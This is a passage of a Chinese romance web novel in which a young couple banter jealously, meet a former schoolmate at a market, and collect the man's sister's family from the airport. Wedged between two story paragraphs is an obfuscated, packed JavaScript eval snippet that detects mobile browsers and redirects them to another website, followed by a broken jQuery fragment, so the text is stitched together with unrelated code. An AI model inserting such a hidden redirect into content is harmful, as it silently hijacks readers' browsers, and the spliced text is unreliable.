谈继秋好笑地瞧着她气喘吁吁的样子,牵起她的手,继续往前走。 “我哪像你啊,”秦见夏坐进车里,打开暖风,阴阳怪气地说,“每周末都陪我老爸去他那玄武湖遛弯也就算了,偶尔还要带他俩去景点逛一逛,天天步数得几万了吧?能把我妈也叫动出去玩,你确实是个人物。” “现在我在家里地位都比你低,以前我家四个菜全放辣椒,现在两道都不放辣。” 她解开围巾,义愤填膺道:“你叔叔阿姨一口一个女婿的,搞得人尽皆知,最阴的是我才知道,你居然还带院子里那几个小屁孩打王者!哄得萝卜头们见了你就叫姐夫——咱俩这和结了婚也没什么区别。” 谈继秋哼笑两声,心情愉悦地启动车子:“这下你没机会对我始乱终弃了。” “哼,”秦见夏偏头看向窗外,懒得理他,突然想到什么,又转回头命令道,“对了,毕业典礼那天,你和我爸妈一起来我学校吧。” 谈继秋顿时扬起唇角,高兴应下:“好。” 提及毕业,他顺口问:“你那个开题怎么样了?” “哎——别提了,”秦见夏苦恼地长叹一声,像要将肺都叹出来,垂头丧气地开始吐槽,“我导师非在昨天给我们布置了任务,大年二十九诶!感觉他是故意搞得大家过不好年!” 秦见夏完全没料到,她的毕设导师竟然是范川。 真是如坠冰窟、如履薄冰、如下地狱。 学院制度是导师学生互选制,一人可以填三个志愿,秦见夏就怕范川这个最严厉的系主任,于是三个志愿都填的是系里最好相处的三位老师。 这三位老师的标准一向是做完就行,做不完也行,做得看得过去就行。 她都计划着正好大学最后一学期了,毕设摸摸鱼划划水,和男朋友去美美旅游一下了。 结果,三个志愿,都轮空了…… 最终名单一放出来,她悲催地看到范川的名字后面跟着自己的名字。 秦见夏崩溃得差点嚎啕大哭。 她的尖叫引来了举着锅铲的赵霞:“怎么啦见鬼啦?” “比见鬼还恐怖。” 一个导师最多可以带三个学生,范川直接带了三个。 可是秦见夏明明看到她选的老师有的只收了一个学生啊。 反正刚好和班长都分到了范川手里,她就 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结果范川毅然决然:“想得美——你就给我做概念设计,我相信你能结合好的小秦同学,过年期间多找找参考资料,年后pre。” 他也不给具体的ddl时间,秦见夏也不知道,他这个年后指的是初五初八初十还是元宵节之后。 她问了其他组的同学,人家听后只是问“啊已经开题了吗?我们什么都没通知呢”。 “你看我就说吧——他就是故意不想让我们过个好年!” 秦见夏给谈继秋描述一遍,然而他听后却与有荣焉:“那看来你们老师很欣赏你。” 正在为毕设抓狂的秦见夏翻了个白眼:“我真和你尿不到一个壶里,都说了我应该是被挑剩下的,他大发慈悲给我捡走了。” “那比你成绩好的有轮空的吗?”谈继秋边开车边问。 “还真有。” 佟暮作为插画实力最强的天赋怪,好像据说也轮空了,系里给她分配了更烦人的导师,她还去申请了换导师。 “那看来我这波可能属于无妄之灾。” 她连连叹气。 谈继秋笑着摸了摸她的后脑勺,安慰道:“好啦,大过年的,先别想这些了,这两天咱们先好好玩。” “拿我手机点奶茶吧,今天多点几杯,想喝的都点上,喝不完我帮你。” 秦见夏顿时眉开眼笑:“谈继秋,这简直是我听过最好听的情话。” 她在谈继秋无奈的目光中纠结了半小时,一共点了八杯。其他家人一人一杯,她喝三杯,喝不完的给谈继秋。 “我还想吃小蛋糕,”秦见夏想着小孩肯定也喜欢吃,取完奶茶后又拉着谈继秋拐进旁边的蛋糕店,美其名曰,“恩恩肯定也喜欢吃。” 谈继秋没说恩恩其实不喜欢吃奶油。 反正秦见夏挑了个六寸的水果蛋糕,并且还买了一堆蛋挞之类的甜点。 南城的春节非常有节日气氛,各处张灯结彩、银装素裹,与空荡的晋海大相径庭,烟火味十足。 晋海一到春节期间就几乎成为空城,远没有这里热闹。 谈继秋很喜欢这座城市,到处都生机勃勃地,像秦见夏一样。 两人最后又去了超市,秦见夏看到什么都觉得缺,买了整整一购物车的东西。 谈继秋只能庆幸,还好是开车来的。 不过,他还挺喜欢和秦见夏一起逛超市,四周堆得琳琅满目,他负责推车,秦见夏就会像小麻雀一样飞来飞去地拿东西往进填,仿佛在筑巢。 他心里也被填得极满。 四处喧嚣热闹,谈继秋终于脚踏实地地驻足进人世间。 买的东西太多,连后备箱都塞满了,谈继秋只好对她说:“一会去市集不能买太多,已经放不下了。” “知道啦知道啦——”秦见夏做了个鬼脸,继续坐回去吸奶茶。 其实只剩不到两个小时的时间留给他们逛市集,然而谈继秋还是坚持要去,说什么“晚了大不了让他们在机场等一会”这种话。 搞得秦见夏非常无语:“你又不买东西你非逛什么市集啊,咱俩去哪约会不能约?” “你姐姐一家舟车劳顿不辞辛苦地赶来,结果你还说什么‘大不了就迟到’,我真想骂你了。” “他们一家子真的在机场都能玩半天,”谈继秋反倒控诉起她,“什么叫‘咱俩去哪约会不能约’?这才在一起多久,秦见夏你是不是腻了?” 秦见夏:“?” 秦见夏暂停喝奶茶,叹为观止:“这是什么脑回路?” “你自己算算,自从你放寒假回来,咱们有单独相处过吗?唯一一次还是你去高中同学聚会我单独开车送你去的,其他时间你都窝在家里打游戏,要不然就是陪阿姨看电影,这么多天都是我去家里找你,你一次都没主动来找过我!” 他越说秦见夏越心虚。 好像……确实是这样的。 “那最近不是下雪嘛,太冷了,我不想出门……咱们微信不是天天聊天么?我也让你和我一起玩游戏的,是你不陪我玩……” 她干巴巴地狡辩两句,肉眼可见某人脸色越来越黑,秦见夏极有求生欲地滑跪:“我错了我错了,我陪你去逛还不行吗?大过年的别生气了嘛谈继秋,我错了——你别板着脸了,笑一个呗?” 谈继秋冷哼一声,不打算这么快就原谅她,免得她又随手将他抛之脑后。 刚好也到了市集的位置,谈继秋找地方停好车,秦见夏连忙下来扑进他怀里,柔声细语地哄:“我真的错了,你原谅我好不好?那过年这几天我说服爸妈,留在你家陪你怎么样?” 谈继秋这才满意,不情不愿地低头亲了她一口,顺手将她的毛线帽扶正:“这还差不多。” “你让叔叔阿姨也留下来吧,”他帮秦见夏系紧围巾,又将她的手牵进口袋里,说,“刚好一家一个房间,你我一人一个房间,过年人多还热闹。” 秦见夏起初是打算在他家吃完年夜饭就和父母回家的,本来觉得把空间留给他们一家人更好,不过既然他都这样说了,她也只好顺从道:“好啊,回去我就跟爸妈商量。” “谈继秋,你是不是租房的时候就早有预谋了,”她用胳膊肘杵了杵他的腰,“没想到你想得这么长远。” 谈继秋只是握紧她的手,意味不明地低声说:“比你现在想象得还要长远很多。” 女孩却没听见,注意力全被周围的雪景吸引,看到路边车上堆着完好无损的积雪,幼稚地随手划了一捧走,自己玩得不亦乐乎。 谈继秋无奈地叹息一声。 三分钟后,秦见夏果然和他换了个位置,将另一只手径直塞进他口袋里,嚷道:“谈继秋,我的手好冷啊,都没知觉了!你快帮我暖暖!” 谈继秋认命将她那只冻僵的手包进掌心,不知道第多少次说—— “下次我一定记得帮你拿手套。” “秦见夏,你能不能别非去踩那个冰——”她又瞧见路边有一小块被走实的冰,谈继秋担心她摔倒,紧张地将她扶稳,“阿姨说你小时候溜冰把脚摔骨折当了三个月瘸子你都忘了?” “咝,我妈怎么什么都跟你说!” 秦见夏抓稳他的手,不管不顾地笑着说:“现在不是有你在嘛——” “你会扶稳我的对吧?” 谈继秋望进她白雪般澄澈的眼中,胸腔震动。 她随口一问,他却郑重道—— “会的。” “你放心,我会一直守在你身边。” 76. 暗恋谁 秦见夏没想到会在市集上碰到老同学。 悲催的是,这个人应该是初中在表白墙对她表白过的男同学。 当时她正在和谈继秋一起做手链。 他俩路过一个串珠铺子,这个铺子的珠子很齐全,秦见夏便提议给他们俩还有恩恩各串一条手链。 他们互相给对方串,恩恩的手链一人选一半珠子。 秦见夏觉得男生的手链适合黑色系,正好他也爱穿黑色衣服,就选了一些造型比较简单的黑白灰色珠子。 谈继秋倒是给她选了一堆花里胡哨的,各种颜色都有,还有一颗向日葵形状的珠子。 对于直男的审美不敢恭维,她只好咂着舌随他去了。 秦见夏的动手能力很强,不到五分钟左右就串好了,已经开始给恩恩挑起珠子。 谈继秋却手拙,笨手笨脚地串了半天,两只手跟打架似的,一转眼他穿好的又散架了,秦见夏正打算指挥他一下,突然听到有人在喊她的名字。 “诶,秦见夏——” 她惊愕抬头,对上了一张既陌生又熟悉的脸。 秦见夏试探地问:“你是……陈天赐?” “对!”陈天赐迅速走过来,笑容险些咧到后脑勺,“没想到你还记得我啊小夏!” 谈继秋早在秦见夏抬头的瞬间,便顺着她的目光望了过去。 本来认为这人的长相看起来没什么危机感,然而听到他叫“小夏”的瞬间,脑海中顿时警铃大作。 珠子又散了一盘,噼里啪啦的。 谈继秋“嗖”地一下站起来,抓住秦见夏的手,宣誓主权一般问:“请问你是?” 由于谈继秋比陈天赐高一点,还是面无表情地俯视对方,给人感觉相当有压迫感。 气氛莫名有些剑拔弩张,秦见夏连忙打圆场,捏了捏谈继秋的手:“这个是我初中同学,哈哈,你别吓着人家。” 陈天赐也不甘示弱,问秦见夏:“小夏,这是你什么人啊?” 小、 夏、 他默默将这个称呼来回咀嚼。 他都没好意思这么亲昵地叫过她。 小、夏、 谈继秋顿时气炸了。 这是挑衅,赤裸裸的挑衅。 他不等“小夏”开口就把她往他这边拽了一点,让她离自己更近,然后揽着秦见夏的肩膀:“我是她老公。” 秦见夏:“?” 她错愕地抬眸瞥他,发现此人面色不太对劲,斟酌了半秒,也回过头对陈天赐说:“对哈哈,他是我丈夫。” 孰轻孰重还是能分清的。 陈天赐却觉得奇怪:“不对吧,你还没大学毕业,没到法定婚龄怎么结的婚?” “我们已经见过家长了。” 谈继秋抢先一步道。 四舍五入也是入赘成功了。 秦见夏感觉这人吃醋吃得没什么道理,但也只能顺着他说:“对,我们已经见过家长了。” 今天见,也算见过吧…… “好吧,”陈天赐遗憾地叹息一声,有些不依不饶,“今天这么有缘分,要不我们一起吃个饭?也好久没聚了。” 秦见夏这次没让谈继秋先出声,自己先忙不迭拒绝:“不了不了,今天不是大年三十吗,我们得赶回家吃年夜饭呢。” “我们两家今年第一次一起过年。” 她又补充。 谈继秋这才满意,只是一言不发地盯着陈天赐的反应。 果然如他所料,对方当即掏出手机:“那要不我们加个微信?之前咱们只有Q|Q,也没个微信,现在好像还是微信用得多……” “不必了。” “也行。” 谈继秋和秦见夏两人同时开口。 陈天赐见秦见夏的对象正不悦地蹙着眉与她对视,便见缝插针道:“小夏,你男朋友怎么控制欲这么强啊?连你加老同学微信也要管吗?” “不会被PUA了吧……”他小声说。 秦见夏本来就不喜欢这个同学。 当初他不合时宜地在表白墙上跟她表白,那时就令她特别反感,搞得全年级的都知道陈天赐喜欢她。 秦见夏在学校里人缘又好,那个月走到哪里都有人起哄开玩笑,她解释也没人听,把她整得自闭了一个月,最后还是赵霞亲自打电话给班主任,班主任出面才终止了这场闹剧。 没想到他现在还挑拨离间! 时间本就紧张,半路还杀出来个程咬金,秦见夏也不太高兴,将谈继秋的手牵紧,没好气道:“对啊——你看不出来吗我就是不想加你微信,还好我对象帮我讲出来了。你没什么事的话就请离开吧,我们赶时间。” 她说完也不再搭理陈天赐,径直拉着谈继秋坐回小板凳上继续串手链,徒留陈天赐在原地跺脚。 陈天赐没想到她竟然当众不给他面子,人来人往地,他也不好发作,只能骂骂咧咧几句然后灰溜溜地走了。 “小~夏~”谈继秋阴阳怪气地学着陈天赐的语气,“你还有追求者这么痴情啊。” 他酸溜溜地说:“我都没这么叫你,他还一口一个地叫上了。” 秦见夏瞧他迟迟穿不上珠子,时间又真的快来不及了,便一把夺过串珠盘自己穿,赶他去给恩恩挑珠子。 还不忘解释:“不是他单独这么叫的,我初中同学都管我叫小夏,高中同学都叫我夏姐你怎么不说了呢?” 其实是他们那时候管她叫“小夏子”,好像是当时流行的一个古装剧里有个太监叫这个,后来她嫌难听,勒令所有人换了称呼。 “那为什么叫你夏姐?”谈继秋疑惑地问。 秦见夏无奈解释:“之前高中班长特别两面派,我就当众把他喷了一顿,一战成名,自此班里同学都尊称我一声夏姐。” 谈继秋听后却有些落寞,挑珠子的动作慢了下来:“你上学的时候人缘很好吧……” “大家一定都喜欢你。” 秦见夏心道又来了,立刻嘴甜地安慰他:“他们喜欢我和我有关系吗?我只喜欢你啊。” “其实没人追我的,我基本都和男生处成好哥们了,就他一个桃花,还搞得我特别难堪,”秦见夏幽怨地娓娓道来,“初中刚流行起Q|Q表白墙,我有一天写完作业拿手机刷空间的时候,突然看到有人艾特我,结果就发现自己的大名被挂了上去。” “结果你猜怎么着?”秦见夏边给手链打结边说,“我确实被表白了,但是这个人说——‘感觉秦见夏同学上课被老师点名回答不上来问题的时候很可爱’,还说什么‘秦见夏上课打瞌睡的样子也很可爱,我喜欢她’,气死我了!” “这下全年级同学都知道我上课睡觉,而且回答不上来问题了!” 秦见夏气得爆了粗口,愤愤不平地看向谈继秋:“你知道这当初给我幼小的心灵留下了多大的心理阴影吗?” “我当初本来在暗恋另外一个男生,原先我还怀疑,是不是那个男生跟我表的白,不知道是该开心还是该伤心,但觉得还是让我太没面子了,我就在那条说说下面留言‘是谁在恶搞我’,想以此模糊大家的视线,让同学们以为真的是朋友恶搞……” 她沉浸式吐槽着,投入到没发现身旁的男朋友面色越来越难看。 谈继秋本来还在笑,听到“暗恋的男生”之后,就彻底笑不出来了。 “结果这个陈天赐主动回复我那条评论,说‘没有恶搞确实喜欢我’,彻底让我丢了大脸!” “况且那时候大家都爱起哄,每次轮到我们回答问题都有人起哄,久而久之,我感觉我的暗恋对象都对我不来电了……” 秦见夏自顾自地喋喋不休了半天,结果发现某人的脸色阴沉到险些滴出墨来。 “怎么了?”她不解地问,“身体不舒服吗?” 谈继秋咬牙切齿,偏过头:“你还有暗恋对象?而且希望他跟你表白?” “对啊,”秦见夏一头雾水,“你情窦初开的时候没有吗?大家都有啊。” “我就没有。” 谈继秋又恢复那种最近已经不多见到的活人微死感,淡淡地将挑好的珠子往盘子里一搁—— “很少有女生喜欢我,觉得我长得帅和我表白过的,我也都在第一时间全部拒绝了。” “而且,你刚刚还要加人家微信,是我拦着才没让他得逞。” “要不是我给你拒绝了,这时候指不定已经小|三|上|位了吧?” “家花哪有野花香啊?”谈继秋阴阳怪气个没完,“你说对不对,小、夏、?” 小夏本人:“?” 怎么还没完没了了。 恰好她提前定的闹钟响了,秦见夏没空哄谈继秋,一边飞速串着手链一边说:“一会儿我再哄你,时间真来不及了,我先穿完再说!” 谈继秋这回,彻彻底底地生气了。 “秦见夏!”他摸着她给自己做的手链,气得心口疼,“你这么快就腻了?这才几个月?你是觉得我在无理取闹是吧?” “下一步你是不是又要跟我提分手?” 秦见夏一脸“我可没提这次是你自己提的”表情,手上迅速打着结,被他一连串的诘问搞得头都大了,穿好立刻交给商家包装,又迅速把自己那串戴在手上,边戴边说:“没有啊,这不是时间紧迫嘛!” “我哪有腻?你别自我脑补了好不好,究竟哪来的小三?”她瞥见店长正在嘴角抽搐地憋笑,恨不得将自己埋进地里,面红耳赤地转过身轻声哄他,“你看他长得那么丑,跟流氓兔似的,你觉得我会喜欢?我不是都跟你说了我讨厌他吗!” “那暗恋对象呢?” 他硬邦邦地板着脸,面色仍然没有缓和。 秦见夏知道骗他也骗不过去,只好诚实地说:“我之前确实挺喜欢他的,人家学习好人也好,还尊重女生,这样的男生谁都喜欢啊。” 她接过店长递来的彩色小纸袋,连忙拉起谈继秋迅速跑路,边跑边解释:“上了高中我就没喜欢的人了,大学更是没有,我从始至终都最喜欢你。” “咱们彼此真是初恋,苍天可鉴啊。” “你意思没谈过恋爱,光暗恋了对吧,”他冷哼一声,“暗恋也算恋。” 谈继秋敏锐地揭穿她:“别试图蒙混过关,你自己心里清楚,高中对我的那种喜欢和男女之间的喜欢不一样。” “你老实交代,你上了高中和大学之后,不会还在喜欢那个暗恋对象吧?”他福尔摩斯似的,“最好别骗我,我知道你什么都跟阿姨说,一会回家我就先问问阿姨。” 秦见夏感觉他现在真是学聪明了,越来越难缠。 “那照你这么说,我天天crush帅哥,你还一个个的全跟我计较啊?” “我就直觉你对那个暗恋对象的感情不一般,”谈继秋的语气十分酸涩,“要是我早点出现在你身边,你还会喜欢别人吗?” “当然不会了!” 秦见夏一口咬定:“要是有你这么个绝世大帅哥成为我同学,那我高低暗恋你三年起步。” “你不会追我吗?” 谈继秋坐进车里,担心她一冷一热感冒,立即将空调先打低几度。 秦见夏闻言,叹息一声:“你之前学习好长得又帅,肯定不会喜欢我的。我从小到大待的班级都有很多特别漂亮的女生,像我这种学习一般长相一般的,只适合当搞笑女逗大家开心。” “谁说的,”谈继秋听她贬低自己,不由得蹙了蹙眉,认真说,“如果你是我高中同学,我也会暗恋你三年的。” 秦见夏顿时又眉开眼笑,眼睛亮晶晶地看向他:“真的吗?” “真的,”谈继秋打开除雾器,思索道,“不过…我会选择高考完向你表白。” 秦见夏听得心里甜滋滋地,决定再哄哄他:“所以你就别吃醋了谈继秋,只是你出场时间太晚了,没办法……真怪不得我,你说是吧?” “哼,”谈继秋还是不悦,“以后你同学聚会必须带上我,不是当司机的那种,指不定哪天又冒出来个张天赐王天赐的撬我墙角。” “我的直觉告诉我,肯定还有不少人暗恋你,就等着多年后久别重逢破镜重圆。” 秦见夏:“……” 秦见夏:“把手机给我。” “怎么了?”他疑惑地说,“手机在我右边口袋,你自己掏。” 秦见夏立刻拿过他的手机,找到某个绿色APP,点击卸载。 “你给我少看点言情小说。” 谈继秋:“……” 谈继秋:“我这是在学习如何成为一个完美的男朋友。” “完美的男朋友一般不乱吃飞醋。” “……” 两人刚好准点赶到机场,谈继秋本打算在车里等他们,然而秦见夏硬拉着他去出站口接,声称是家族传统。 谈继秋无奈地拿上围巾,叫住秦见夏,先是帮她拉好外套拉链,又仔细给她系了两圈围巾,搞得她十分不耐烦:“已经到点了!别磨磨唧唧的,这我自己能边走边围。” “秦见夏,你怎么又忘本,”谈继秋气笑了,“我伺候你你还不乐意?” 秦见夏今天已经哄了他很久,实在懒得理他,自顾自闷头往前走:“什么叫‘又’?那我想对你家人热情点你还不乐意?” 语音刚落,视线里出现了完全漂亮得超乎常人的一家三口,秦见夏不用猜也能认出:“这就是你姐姐他们吧!” 不等回答就激动地迎了上去,像只风风火火的红色小鸭子。 谈继秋:“……” 没想到谈承春完全就是港剧里那种知性职场大姐姐形象,一头整齐利落的棕色齐短发,穿着一件米色修身风衣,高领黑毛衣衬得她气质出尘,脚上搭了一双高跟皮靴。 五官和谈继秋极为相似,简直就是性转版的谈继秋。 她和他拥有同样的高鼻梁、窄鼻翼和红润的唇瓣,脸部轮廓也仿佛一个模子里刻出来的,流畅的窄面显得整个人非常高级。 不过,他姐姐却比谈继秋有活力多了,浑身都有种精气十足的派头。 谈承春身边的应该就是她丈夫了,也是一副商务精英的打扮。 一袭庄重典雅的暗红色条纹西装还搭配了整齐的方巾,尖头红底皮鞋上一丝褶皱的痕迹都没有,面容深邃立体,气质成熟,看起来也是常年健身的体魄。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095099|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 秦见夏欢欣鼓舞地迎上去,还没打招呼就被一个小家伙扑了个满怀。 恩恩神不知鬼不觉地甩开她爸的手,“嗖”地一下,火箭发射般撞进秦见夏怀里,甜滋滋地唤道:“舅母——” 说实话,快四岁的小孩也不小了。 秦见夏正痴迷她爹妈的颜值时,没反应过来地被恩恩撞得往后倒了两步,还是小跑赶上来的谈继秋眼疾手快地接住了她,才没让她摔倒。 “恩恩——”谈继秋扶住秦见夏的肩膀,厉声训斥,“怎么还这么莽撞!” 恩恩懒得理她舅父,只是立刻抓住秦见夏的手,奶声奶气地喊:“阿妗,你好漂亮~” 秦见夏当即脸红地蹲下身子,捧起恩恩的小脸,软声说:“恩恩也好漂亮呢~” 恩恩完全结合了她父母的优点,小小年纪就五官深邃且浓眉大眼,巴掌大的小脸上长了那么大的眼睛和双眼皮。 看得秦见夏又喜欢又羡慕。 这个出厂建模是真天赋。 恩恩顿时“吧唧”一下亲在秦见夏的侧脸上,不出意外应该是吃了一口粉底…… 秦见夏感觉自己右脸湿漉漉的。 小孩的嘴唇比大人的还要软,她一下子就融化了,语气能滴出蜜来:“宝宝~舅妈给你准备了小礼物,一会儿去车上拆好不好~” “好——!” 谈承春和姐夫姗姗来迟,秦见夏站起身子和他们分别打了招呼。 谈承春打老远就看到一身红的秦见夏了,心想弟妹比视频里还讨人喜欢。 虽然不是特别明艳漂亮的长相,但有一种江南女孩特有的美。 一眼望去最先看到的就是她亮晶晶的黑眸,然后是纤细的眉毛、玲珑的鹅蛋脸和精致的鼻尖,红色衬得她皮肤和窗外的积雪一样白,整个人说不出来的可爱和讨喜。 其实谈承春隐隐有些担忧,秦见夏居然会看上她性格孤僻的弟弟吗? 谈承春忍不住抬手,先捏了捏她微微带点婴儿肥的脸蛋,亲昵地拥抱她:“夏夏,终于见面了!” 秦见夏只是一味地脸红,猛吸一口气,说:“姐姐,你身上好香……” 谈继秋:“?” 他和姐夫握手打完招呼,当即拎着秦见夏针织帽尖上的绒球,将她和谈承春分开,恩恩也在一旁蹦跶着,非要秦见夏抱。 谈继秋没由来地感到一阵烦躁,拽住她的手转身往后走:“快上车。” “诶呦阿秋你急什么啊,”谈承春不悦地踩着高跟鞋,狠狠翻了个白眼,“家姐还没和夏夏寒暄完呢!” 姐夫只是内敛地推着大行李箱,跟在谈承春身后打着电话,一副忙碌的样子。 谈承春瞧着弟弟那副死样子就来气,抱起双臂,白了丈夫一眼:“刚和夏夏见过面就开始讲电话,这么忙你过来干嘛?我早都讲了我带着恩恩来就行了,咱们各回各家过年,你非要跟来!” “好了,不同你讲了,我太太生气啦,”霍东岳连忙挂断电话,安抚道,“BB我知错了,你真忍心留我一人在港城过年嘛?” 谈承春语气不善:“守着你老妈怎么算一人过年?裙脚仔!” 霍东岳急切地解释:“我们分家后不是每年都自己过嘛。” “不会有人再逼你生育,BB你不要生气。” “对了,囡囡呢?” 他忽然察觉不到恩恩的存在,急忙问。 谈承春冷哼一声,扔下句“在她阿妗怀里”便加快步伐。 这边,恩恩一直像小尾巴一样跟在谈继秋和秦见夏身后,但谈继秋也不理孩子,只是一个劲地拽着秦见夏闷头往前走。 搞得她甩了半天才甩掉他的手:“你有毛病吧谈继秋,怎么也不管恩恩,是亲舅舅吗?” 秦见夏立刻转身接住恩恩,费力地将她抱起来,才继续跟上谈继秋的步伐。 谈继秋一个没注意,转眼瞧见那个小鬼已经得偿所愿地紧紧搂着秦见夏的脖子,又在她侧脸亲了一口,还欠欠地冲他做了个鬼脸。 他感觉今日诸事不顺。 “丢不了,管她干嘛,”谈继秋无奈地叹了口气,“她这么大人了用不着你抱。” “恩恩快下来,别累着她。” 一大一小没人理她。 一个不愿意下来,一个不愿意撒手。 其实秦见夏不是特别喜欢小孩,她对于小孩的喜恶也一阵一阵的,让她和小孩每天朝夕相处肯定会觉得厌烦。 然而有时候,人类幼崽仿佛小宠物一样可爱,尤其是恩恩这种漂亮又白嫩的小孩,像是软绵绵的糯米团。 不过——这小孩虽然奶香奶香的,肉也的确瓷实。 缺乏锻炼的秦见夏没一会就累得气喘吁吁,恩恩则悠哉地玩着她的头发。 好在也到车跟前了,她脱力将她放下,恩恩又像个小钢炮一样,熟练地打开谈继秋的车门往座椅上爬。 秦见夏坐在副驾上,将刚刚做好的手链递给趴在中控台上的小孩:“这是我和你舅一起做的手链,当作你的新年礼物,小宝你试试合不合适?” “哇——” 恩恩两眼放光,欢呼声响彻云霄:“谢谢阿妗——那我现在就拆开啦~” 秦见夏看她这小表情觉得十分好笑:“恩恩的普通话和你舅舅一样标准呢。” 恩恩边拆包装边自豪地挺了挺胸脯,臭屁地吹了吹齐刘海:“那是自然!我还会讲英文和粤语呢,舅父仔估计都不会说了,我和他交流得说普通话。” “哇——阿妗做得手链好漂亮呀!”恩恩把五彩缤纷的糖果手链戴在手上,刚好合适,她兴奋地扒拉着秦见夏的头,又在她脸上亲了亲,“谢谢阿妗,我爱你!” 透明人谈继秋:“……” 他内心不平衡地把小鬼拽开,态度强硬:“你给我在后面老实坐着。” 恩恩默默瞪他一眼。 谈承春夫妇上车后,恩恩先是给父母炫耀了一下手链,然后更有靠山似的趴在中控台上,眨着大眼睛询问秦见夏:“阿妗我能不能和你一起坐吖,我喜欢被阿妗抱在怀里~” “不行!” 谈继秋“咔哒”一声系上安全带,果断拒绝。 “趁车还没开,你爬过来吧宝宝,”秦见夏温柔地举起胳膊,“我接住你。” “秦见夏,”谈继秋皱眉瞥她,“我说了不行,十二岁以下不能坐在前面。” 秦见夏也蹙着眉:“大过年的又没人查。” “那也不行,”谈继秋闷闷不乐地启动车子,“影响我开车。” 谈承春当然知道弟弟是因为什么不高兴,也打圆场:“对啊对啊夏夏,咱们不要知法犯法了,BB仔坐在后排就行。” “不——”恩恩顿时嚎啕大哭,哭声震天撼地,“我就要被舅母抱在怀里嘛!” “谈继秋!你果然还是这么讨人厌!” 恩恩没大没小地指着她舅大声嚷。 谈承春挤眉弄眼地和霍东岳对视一瞬,也不出声制止恩恩。 因为谈继秋确实挺讨人厌的。 “吵死了。” “再哭就把你扔出去。” 谈继秋语气淡淡地威胁。 77. 奖励你 谈继秋一路都沉默开车,一言不发。 大家早已对他这性格司空见惯。 剩下三个大人一个小孩聊得相当投机,谈承春更是想当场认秦见夏为亲妹妹。 她发自内心地觉得,弟弟找来这个女朋友,真是祖上烧了高香。 谈继秋小时候性格只是比较孤僻内向,后来越长越歪,有时候作为亲姐姐都无法忍受,没想到,秦见夏丝毫不介意热脸贴冷屁股。 快把她感动死了。 难道这就是真爱吗? 实则,秦见夏真不觉得在热脸贴冷屁股。 平时他们也是互相哄,一会她生气了一会谈继秋生气了,不过还是他哄她比较多。 而且只要谈继秋在,她完全衣来伸手饭来张口啊!出门甚至不用带脑子。 动动嘴皮子的事,就能享受到五星级服务,稳赚不亏。 今天主要是…… 确实把他给惹生气了。 都怪那个陈天赐! 秦见夏给谈承春一家一人分了一杯奶茶,自己又拿了一杯插上吸管,吸了一口想着不能冷落了谈继秋,便讨好地将奶茶递到他嘴边:“张嘴尝一口。” “不要。” 谈继秋闷闷不乐地偏头躲过。 秦见夏正想再哄两声,却被恩恩打断:“他不要我要!阿妗给我尝尝~” 她只好转头给恩恩尝了一口:“阿妗这个不是特别甜哦。” 恩恩仍然星星眼道:“阿妗的我都喜欢~” 谈继秋将方向盘捏得更紧:“……” 其实只要秦见夏再哄两句,他就给自己找个台阶下了。 果然,他心想,不要小孩真的是很明智的决定。 小孩真是讨厌的生物。 恩恩仿佛亲上瘾了,又给秦见夏来了一口。 秦见夏也“礼尚往来”,亲了亲她的小脸蛋,然后转回身悄悄抹掉脸上的口水。 谈继秋:“……” 这小鬼一天亲她的次数比他都多了好吗。 而且,秦见夏似乎很享受,一点也没注意到他在生气。 他忍不住开口:“秦见夏。” “嗯?”秦见夏一边搜索小孩吃粉底多了会不会中毒,一边不解地问他,“怎么了?” 怎么了。 她还问他怎么了? 谈继秋气到皮笑肉不笑:“没事。” 依旧是淡淡的微死感。 结果谈承春又跟秦见夏聊起娱乐八卦,车内再度响起一片欢声笑语。 谈继秋面无表情地咬牙切齿。 好吧,这么长时间了,他还是无法忍受秦见夏冷落他。 其实也不算冷落。 他就是接受不了她的注意力不在他身上。 还有—— 这个没心没肺的家伙,总是一聊尽兴就把他忘在脑后。 每次都这样。 谈继秋微微有种失恋的感觉,整个人周身萦绕着一种似有似无的忧伤。 “不至于吧!!” 回到家,大家刚寒暄完互相送了礼物,秦见夏一扭头就发现谈继秋跟着赵霞神神秘秘地进了厨房。 她轻手轻脚地走上前一听,这老小子居然在告她的状! “谈继秋!你到底讲不讲道理!”秦见夏气愤地跳过去给了他一掌,“我刚哄了一路怎么还没给你哄好啊?” “妈!”秦见夏偏头为自己辩解,“我没有变心啊没有三心二意!怎么他说什么你都信啊?那个陈天赐我跟你说过了啊我很讨厌他来着。” “到底谁是你亲生的?!” “切,”赵霞拌着秦见夏喜欢吃的猪耳朵,动作不停地随口吐槽,“我还不知道你?你本来就没个定性的。之前不是还说这辈子就喜欢那个谁了,遇不到更好的了吗?” “还说什么~要封心锁爱了~” 谈继秋的脸色果然更差了。 秦见夏感觉他的嘴快垂到地上了。 没想到亲妈还火上浇油,她据理力争道:“你再好好回忆回忆!那是不是我高中的时候一直没喜欢的人,然后你问我我才说还是更喜欢那个初中同学的!” “要分清主动还是被动好不好。”秦见夏叹息一声,随手从案板上拿了块切好的西红柿吃。 “现在这不是遇到更好的了吗,”她拽着谈继秋的胳膊晃了晃,不知道第多少次哄道,“你别吃醋了行不,你看我妈连他叫啥都不知道。” “他叫林徐乐,”赵霞凉飕飕地泼冷水,“某人还给我说,那个男生特别阳光开朗,笑起来有两个梨涡……” “妈!!”秦见夏火速将谈继秋拉离战场,“我那是慕强,慕强你懂吗?谁成绩好我喜欢谁……” 不阳光开朗也没有梨涡的谈继秋:“那后来你不喜欢我是因为我变菜了?” “大哥,你也就S8前后那几年比较强势,属于版本巅峰,”秦见夏再度无语凝噎,“后来你打得过谁?一年比一年捞……你以为你黑粉怎么来的?” 眼见谈继秋浑身气压更低,她连忙往回找补:“所以,你不强了我还喜欢你,证明我对你是真爱啊孩子。” 他脸色终于缓和不少。 PUA成果显著。 